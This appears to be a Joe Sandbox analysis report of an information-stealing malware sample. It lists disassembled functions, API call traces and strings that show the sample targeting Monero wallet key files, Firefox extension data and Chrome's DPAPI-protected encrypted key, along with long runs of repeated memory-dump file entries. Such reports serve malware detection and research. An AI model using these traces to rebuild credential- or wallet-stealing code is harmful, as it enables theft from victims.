Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,01649AF8,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 005EA3FF
lstrlen.KERNEL32(00000000), ref: 005EA6BC

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

DeleteFileA.KERNEL32(00000000), ref: 005EA743

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 17d74a244c5d58adb1cf264f535548b55997968b9598c11355b32f8a148d2895
Instruction ID: 0fd558d036bd9417283bf05e3ab3c407e1989c7067693a85ff4b1c03036b599c
Opcode Fuzzy Hash: 17d74a244c5d58adb1cf264f535548b55997968b9598c11355b32f8a148d2895
Instruction Fuzzy Hash: 1DE112B281010D9BCB18EBA4DD99EFE7738BF54340F508169F61A72095EF746A09CB63

Function 005ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,01649AF8,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005ED801
lstrlen.KERNEL32(00000000), ref: 005ED99F
lstrlen.KERNEL32(00000000), ref: 005ED9B3
DeleteFileA.KERNEL32(00000000), ref: 005EDA32

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9a917d6b60a1ff989ce3e4524ba563ad32b56e08160d10159848fe7dbee7406a
Instruction ID: 88de6447a50479023ce62abed5d69ffcdb27ea66ce6da42097e0fc1f8d63c56e
Opcode Fuzzy Hash: 9a917d6b60a1ff989ce3e4524ba563ad32b56e08160d10159848fe7dbee7406a
Instruction Fuzzy Hash: 1A8102B181010D9BDB18FBA0DD59DFE7738BF94340F508528F64AA6095EF786A09CB63

Function 005EF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00601580,00600D92), ref: 005EF54C
lstrlen.KERNEL32(00000000), ref: 005EF56B

Strings

^userContextId=4294967295, xrefs: 005EF59C
moz-extension+++, xrefs: 005EF5AD

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: c51ebfcadd610bfb379a4a4517c7c50fe32bf8ad0fe51e9dbc74ef44854889eb
Instruction ID: 4ccbc068b2d2f3124958b6c52cfca592ed84097e0d0bcc452045c6a6e7bee2b7
Opcode Fuzzy Hash: c51ebfcadd610bfb379a4a4517c7c50fe32bf8ad0fe51e9dbc74ef44854889eb
Instruction Fuzzy Hash: 145104B191010E9BDB08FBA0DC5ADFD7B39BF94340F408528F51A67195EE786609CBA3

Function 005F70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s_, xrefs: 005F72AE, 005F7179, 005F717C
s_, xrefs: 005F7111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 005F718C

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s_$s_$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1486079241
Opcode ID: 1c9824fb3f9a698529c5f68b3524d874a0168cbccdd606d5da5d9f7e2af06546
Instruction ID: abd320bdbc1f792db47df4bcbef37ee5fddf82ae726a2cf6b2d51464a3b384f4
Opcode Fuzzy Hash: 1c9824fb3f9a698529c5f68b3524d874a0168cbccdd606d5da5d9f7e2af06546
Instruction Fuzzy Hash: D2514FB0D0421D9BDB14EB90DC89BFEBB74BF48304F5041A8E21967181EB786E89CF55

Function 005E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005E9D39

Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9AEF
Part of subcall function 005E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005E4EEE,00000000,?), ref: 005E9B01
Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9B2A
Part of subcall function 005E9AC0: LocalFree.KERNEL32(?,?,?,?,005E4EEE,00000000,?), ref: 005E9B3F

Part of subcall function 005E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005E9B84
Part of subcall function 005E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 005E9BA3
Part of subcall function 005E9B60: LocalFree.KERNEL32(?), ref: 005E9BD3

Strings

"encrypted_key":", xrefs: 005E9D30
DPAPI, xrefs: 005E9D89
, xrefs: 005E9DC1

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: debf1d182f961652ad6c100d498d995b6c521a889b9e829de94ab22a45e3755d
Instruction ID: 2c504ad7ccbf2080dc54b4eeaef6ec625ecaf1e4d962b6f487f74de72552f0b5
Opcode Fuzzy Hash: debf1d182f961652ad6c100d498d995b6c521a889b9e829de94ab22a45e3755d
Instruction Fuzzy Hash: 073161B5D0020DABCF08DBE5DD85AEFBBB8BF88300F144518EA45A7241E7349A04CBA1

Function 005F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006005B7), ref: 005F86CA
Process32First.KERNEL32(?,00000128), ref: 005F86DE
Process32Next.KERNEL32(?,00000128), ref: 005F86F3

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

CloseHandle.KERNEL32(?), ref: 005F8761

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 1794622278f6d7be4e8183518d3dcd9ed1ba6714d99ccc4ca428476f0879211e
Instruction ID: d167e88d33cd35d7e4b52f1985ca53ffdd0617b01ac5bd8c60606f68c0cc70bb
Opcode Fuzzy Hash: 1794622278f6d7be4e8183518d3dcd9ed1ba6714d99ccc4ca428476f0879211e
Instruction Fuzzy Hash: 9B313EB190111DABCB24EB54CC45FFEBB78FF45740F1081A9A60DA61A0DB786A45CFA2

Function 005F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01648870,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F6AE8
CloseHandle.KERNEL32(00000000), ref: 005F6AF9
Sleep.KERNEL32(00001770), ref: 005F6B04
CloseHandle.KERNEL32(?,00000000,?,01648870,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6B1A
ExitProcess.KERNEL32 ref: 005F6B22

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
